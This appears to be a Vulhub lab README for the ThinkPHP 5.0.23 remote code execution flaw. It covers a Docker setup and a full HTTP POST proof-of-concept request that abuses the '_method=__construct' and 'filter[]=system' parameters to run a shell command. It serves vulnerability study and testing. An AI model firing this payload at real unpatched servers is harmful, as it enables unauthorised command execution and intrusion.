Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
40 lines
1.1 KiB
Markdown
40 lines
1.1 KiB
Markdown
# ThinkPHP5 5.0.23 Remote Code Execution Vulnerability
|
||
|
||
[中文版本(Chinese version)](README.zh-cn.md)
|
||
|
||
ThinkPHP is an extremely widely used PHP development framework in China. In its version 5.0(<5.0.24), while obtaining the request method, the framework processes it incorrectly, which allows an attacker to call any method of the Request class, resulting in a RCE vulnerability through a specific exploit chain.
|
||
|
||
References:
|
||
|
||
- https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
|
||
|
||
## Environment Setup
|
||
|
||
Enter the following command:(ThinkPHP version: 5.0.23)
|
||
|
||
```
|
||
docker compose up -d
|
||
```
|
||
|
||
Visit `http://your-ip:8080` and you'll see the default page of ThinkPHP.
|
||
|
||
## POC
|
||
|
||
Send the packets and execute the command `id`:
|
||
|
||
```
|
||
POST /index.php?s=captcha HTTP/1.1
|
||
Host: localhost
|
||
Accept-Encoding: gzip, deflate
|
||
Accept: */*
|
||
Accept-Language: en
|
||
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
|
||
Connection: close
|
||
Content-Type: application/x-www-form-urlencoded
|
||
Content-Length: 72
|
||
|
||
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
|
||
```
|
||
|
||

|